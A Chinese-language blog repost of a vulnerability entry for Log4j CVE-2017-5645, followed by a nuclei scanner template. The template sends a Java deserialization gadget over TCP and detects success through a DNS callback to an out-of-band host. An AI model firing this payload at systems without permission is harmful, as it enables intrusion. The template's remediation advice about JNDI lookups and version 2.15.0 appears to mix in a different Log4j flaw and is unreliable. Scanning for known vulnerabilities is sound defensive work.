Apache Log4j Server - Deserialization Command Execution

漏洞信息

漏洞名称: Apache Log4j Server - Deserialization Command Execution

漏洞编号:

  • CVE: CVE-2017-5645

漏洞类型: 反序列化

漏洞等级: 严重

漏洞描述: Apache Log4j是一个广泛使用的Java日志框架,用于在应用程序中记录日志信息。它被部署在各种Java应用中,从企业级服务到常见的Web应用组件,因其高效和灵活性而受到开发者的青睐。该漏洞存在于Log4j 2.x版本中,具体为2.8.2之前的版本。漏洞类型为反序列化漏洞,其技术根源在于当使用TCP socket服务器或UDP socket服务器接收来自另一个应用程序的序列化日志事件时,未能妥善验证和处理输入的二进制数据。攻击者可以构造特殊的二进制负载,当这些数据被反序列化时,可以在服务器上执行任意代码。这一漏洞的影响极为严重,因为它允许远程攻击者在无需任何认证的情况下,直接对受影响的服务执行任意命令,可能导致数据泄露、服务中断甚至完全控制系统。由于Log4j的广泛使用,这一漏洞的影响范围非常广泛,攻击者可以相对容易地自动化利用此漏洞进行攻击。

产品厂商: Apache

产品名称: Log4j

影响版本: 2.x before 2.8.2

来源: https://github.com/projectdiscovery/nuclei-templates/blob/3442666f0f77cfb9c0212eb8044484062643effd/network%2Fcves%2F2017%2FCVE-2017-5645.yaml

类型: projectdiscovery/nuclei-templates:github issues

POC详情

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48

id: CVE-2017-5645

info:
name: Apache Log4j Server - Deserialization Command Execution
author: princechaddha, NaN-KoreLogic
severity: critical
description: |
In Apache Log4j 2.x before 2.8.2, when using the TCP socket server or UDP socket server to receive serialized log events from another application, a specially crafted binary payload can be sent that, when deserialized, can execute arbitrary code.
impact: |
Successful exploitation of this vulnerability could allow remote attackers to execute arbitrary commands on the affected server.
remediation: |
Consider updating to Log4j 2.15.0 or a newer version, deactivating JNDI lookups, or implementing a Java Agent to safeguard against potentially harmful JNDI lookups.
reference:
- https://github.com/vulhub/vulhub/tree/master/log4j/CVE-2017-5645
- https://nvd.nist.gov/vuln/detail/CVE-2017-5645
- http://www.openwall.com/lists/oss-security/2019/12/19/2
- http://www.oracle.com/technetwork/security-advisory/cpuapr2018-3678067.html
- http://www.oracle.com/technetwork/security-advisory/cpujan2018-3236628.html
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2017-5645
cwe-id: CWE-502
epss-score: 0.94013
epss-percentile: 0.99882
cpe: cpe:2.3:a:apache:log4j:*:*:*:*:*:*:*:*
metadata:
max-request: 2
vendor: apache
product: log4j
tags: cve,cve2017,network,vulhub,apache,log4j,rce,deserialization,oast,tcp
variables:
end: "\r\n"
tcp:
- host:
- "{{Hostname}}"
- "{{Host}}:{{Port}}"
inputs:
- data: "{{generate_java_gadget('dns', 'http://{{interactsh-url}}', 'hex')+concat(end)}}"
read-size: 100
matchers:
- type: word
part: interactsh_protocol
words:
- dns
# digest: 4a0a00473045022100827eda332232166a21a0e9c72cf2cf744fe203d47013e4c1c10e8bd1c6b85a640220455d837868ac9450f6eef090bcd67e23abf274dfc0a38bbae81bd7d94a6d965f:922c64590222798bb761d5b6d8e72950


Apache Log4j Server - Deserialization Command Execution
http://example.com/2025/07/06/github_2111149787/
作者
lianccc
发布于
2025年7月6日
许可协议